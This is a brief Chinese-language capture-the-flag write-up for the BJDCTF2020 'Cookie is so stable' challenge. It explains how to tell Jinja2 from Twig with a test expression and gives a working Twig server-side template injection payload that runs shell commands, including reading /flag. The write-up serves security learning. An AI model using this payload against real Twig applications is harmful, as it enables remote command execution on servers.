[BJDCTF2020]Cookie is so stable

 

知识点

  • SSTI
  • twig

[BJDCTF2020]Cookie is so stable

 

题目提示cookie


[BJDCTF2020]Cookie is so stable

 

在user处尝试注入

{{7*'7'}} 回显7777777 ==> Jinja2
{{7*'7'}} 回显49 ==> Twig 

 

这里为Twig


payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

 


[BJDCTF2020]Cookie is so stable

 

获取flag

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

 


[BJDCTF2020]Cookie is so stable

参考
服务端模板注入攻击